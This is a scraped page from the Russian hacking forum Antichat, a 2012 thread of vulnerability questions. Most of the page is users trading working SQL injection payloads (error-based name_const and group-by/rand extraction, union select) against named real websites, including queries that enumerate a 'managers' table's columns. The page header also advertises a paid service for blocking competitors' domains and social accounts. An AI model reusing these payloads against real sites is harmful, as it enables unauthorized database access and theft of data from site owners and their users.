Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2089 из 2422

2089

Опции темы

Поиск в этой теме

Опции просмотра

16.08.2012, 02:53

Nightfall

Новичок

Регистрация: 14.08.2012

Сообщений: 3

С нами: 7234166

Репутация: 0

но order by же должен работать?

𝕏 Twitter Reddit Telegram Копировать ссылку

16.08.2012, 03:22

OxoTnik

Постоянный

Регистрация: 10.06.2011

Сообщений: 939

С нами: 7854806

Репутация: 173

Цитата:

Сообщение от Nightfall

Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'

Цитата:

Сообщение от None

http://dynatone.ru/products.php?brand=Flight&group=911'or(select*from (select(name_const(version(),1)),name_const(versio n(),1))a)and(1)='1

'5.1.61'

16.08.2012, 05:15

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

Цитата:

Сообщение от OxoTnik

'5.1.61'

Через name_const не выведешь ничего кроме version()

Вот запрос более рабочий с примером работы с таблицами и колонками.

Цитата:

Сообщение от None

http://dynatone.ru/products.php?brand=Flight&group=911'or(1)group/**/by(mid((select(column_name)from(information_schema .columns)where(table_schema='dntMainBase'and(table _name='managers'))limit/**/0,1),rand(0)|0,64))having(sum(0)-1)or'1'='1#

16.08.2012, 12:23

Nightfall

Новичок

Регистрация: 14.08.2012

Сообщений: 3

С нами: 7234166

Репутация: 0

Всем большое спасибо за помощь

16.08.2012, 15:46

InDuStRieS

Постоянный

Регистрация: 15.03.2009

Сообщений: 435

С нами: 9030789

Репутация: 704

http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2

уязвим параметр id

почему не работает юнион селект?

колонки подбираются,дальше не хочет

версия мускля думаю поэтому и не хочет

там 3 версия?

16.08.2012, 15:49

OxoTnik

Постоянный

Регистрация: 10.06.2011

Сообщений: 939

С нами: 7854806

Репутация: 173

Цитата:

Сообщение от InDuStRieS

http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля поэтому и не хочет
там 3 версия?

Всё отлично работает

Цитата:

Сообщение от None

http://www.rosalcohol.ru/site.php?id=-8295+union+select+1,2,3,version%28%29,5,6,7&table= bmV3c19nbGF2

4.0.27-log

16.08.2012, 15:50

InDuStRieS

Постоянный

Регистрация: 15.03.2009

Сообщений: 435

С нами: 9030789

Репутация: 704

Цитата:

Сообщение от OxoTnik

Всё отлично работает
4.0.27-log

блин точно,забыл минусик поставить...ппц я протупил

спасибо

16.08.2012, 16:22

InDuStRieS

Постоянный

Регистрация: 15.03.2009

Сообщений: 435

С нами: 9030789

Репутация: 704

http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790

Почему тут не работает?

Не выводит

16.08.2012, 16:32

MaxFast

Постоянный

Регистрация: 12.10.2011

Сообщений: 569

С нами: 7676246

Репутация: 94

Цитата:

Сообщение от InDuStRieS

http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит

Потому-что это слепая скуля

#10

16.08.2012, 16:33

InDuStRieS

Постоянный

Регистрация: 15.03.2009

Сообщений: 435

С нами: 9030789

Репутация: 704

Цитата:

Сообщение от MaxFast

Потому-что это слепая скуля

Вы не правы

Страница 2089 из 2422

2089

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57